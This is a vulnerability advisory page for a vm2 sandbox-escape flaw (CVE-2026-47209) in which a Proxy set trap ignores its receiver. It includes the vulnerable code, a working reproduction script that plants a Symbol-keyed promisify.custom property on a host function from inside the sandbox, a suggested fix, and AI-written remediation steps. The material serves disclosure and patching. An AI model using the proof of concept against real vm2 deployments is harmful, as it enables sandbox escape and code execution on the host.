Skip to main content

vm2 EUVDEUVD-2026-36440

| CVE-2026-47209 HIGH
Protection Mechanism Failure (CWE-693)
2026-05-29 https://github.com/patriksimek/vm2 GHSA-c4cf-2hgv-2qv6
8.6
CVSS 3.1 · Vendor: https://github.com/patriksimek/vm2
Share

Severity by source

Vendor (https://github.com/patriksimek/vm2) PRIMARY
8.6 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Red Hat
8.6 MEDIUM
qualitative

Primary rating from Vendor (https://github.com/patriksimek/vm2).

CVSS VectorVendor: https://github.com/patriksimek/vm2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 29, 2026 - 18:17 vuln.today
Analysis Generated
May 29, 2026 - 18:17 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 88 npm packages depend on vm2 (4 direct, 84 indirect)

Ecosystem-wide dependent count for version 3.11.4.

DescriptionCVE.org

Summary

The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.

This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.

Vulnerable Code

javascript
// bridge.js:1231-1260
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    // ...
    try {
        value = otherFromThis(value);
        return otherReflectSet(object, key, value) === true;
        // BUG: 'receiver' is never used.
        // Should check if receiver !== proxy and handle accordingly.
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Impact

Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:

javascript
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side

Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:

javascript
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
    return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'

Reproduction

javascript
const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);

vm.run(`
  const kCustom = Symbol.for('nodejs.util.promisify.custom');
  const child = Object.create(hostFn);
  child[kCustom] = function() {
    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
  };
`);

// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG

Suggested Fix

javascript
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
        return this.setPrototypeOf(target, value);
    }
    if (key === 'constructor' && thisArrayIsArray(object)) {
        thisReflectSet(target, key, value);
        return true;
    }
    try {
        value = otherFromThis(value);
        // When receiver is not the proxy itself, set on receiver (this-realm)
        // instead of the host target to preserve prototype-chain semantics.
        return otherReflectSet(object, key, value) === true;
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

AnalysisAI

Sandbox escape in vm2 (npm) versions ≤ 3.11.3 allows untrusted code running inside the VM to write arbitrary properties - including dangerous Symbol-keyed properties like nodejs.util.promisify.custom - onto host-realm objects via a Proxy set-trap receiver-handling flaw. Because any inheriting child object (Object.create(hostObj)) becomes a write channel into the host, attackers can hijack host control flow when the host later dispatches through the polluted slot, escalating from sandbox integrity loss to host-realm code execution. Publicly documented reproduction exists in the GHSA advisory; no public exploit identified at time of analysis and not on the CISA KEV list.

Technical ContextAI

vm2 is a Node.js sandbox library (pkg:npm/vm2) that uses ES2015 Proxy-based bridges to mediate every reference flowing between the sandbox realm and the host realm. ECMA-262 §9.5.9 specifies that a Proxy [[Set]] trap receives a Receiver argument identifying the original recipient of the assignment, and the trap must install the property on the receiver (not the proxy target) when Receiver !== proxy - i.e., when the write reaches the proxy via prototype-chain walking. In lib/bridge.js, BaseHandler.set discarded receiver and unconditionally invoked otherReflectSet(object, key, value) against the wrapped host object, violating the spec. The root-cause class is CWE-693 (Protection Mechanism Failure): the bridge's write-side guards assume direct proxy.x = v writes through the canonical proxy receiver, but inherited-receiver writes silently bypassed those guards. Sibling traps (ReadOnlyHandler.set, ProtectedHandler.set) coincidentally honored receiver, so BaseHandler was the lone divergent path covering every non-intrinsic host object the embedder exposes.

RemediationAI

Vendor-released patch: upgrade vm2 to 3.11.4 or later (https://github.com/patriksimek/vm2/releases/tag/v3.11.4), which contains the receiver-gated install-on-receiver fix in lib/bridge.js (commit 26d0318b5e6555be4b187ba05d6cf378ccecfe22) mirroring ReadOnlyHandler.set semantics. Run npm ls vm2 (and check transitive lockfiles such as package-lock.json/yarn.lock) to identify direct and indirect consumers, then npm install vm2@^3.11.4 and rebuild deployment artifacts. Note that vm2 has been deprecated by the maintainer in favor of isolated-vm; teams should evaluate migrating to a V8-isolate-based sandbox rather than relying on Proxy-bridge designs, as this class of cross-realm property-trap bug has recurred repeatedly. If immediate patching is impossible, the only effective compensating control is to stop passing host-realm objects/functions into the sandbox (no setGlobal/sandbox of host functions; instead expose only primitives or deep-cloned plain-data) - bridge-side patching cannot be retrofitted from outside the library; broad mitigations like 'restrict who can submit code' help reduce exposure but do not close the bug. Refer to the GHSA advisory and ATTACKS.md Category 32 for the full primitive list.

Vendor StatusVendor

Share

EUVD-2026-36440 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy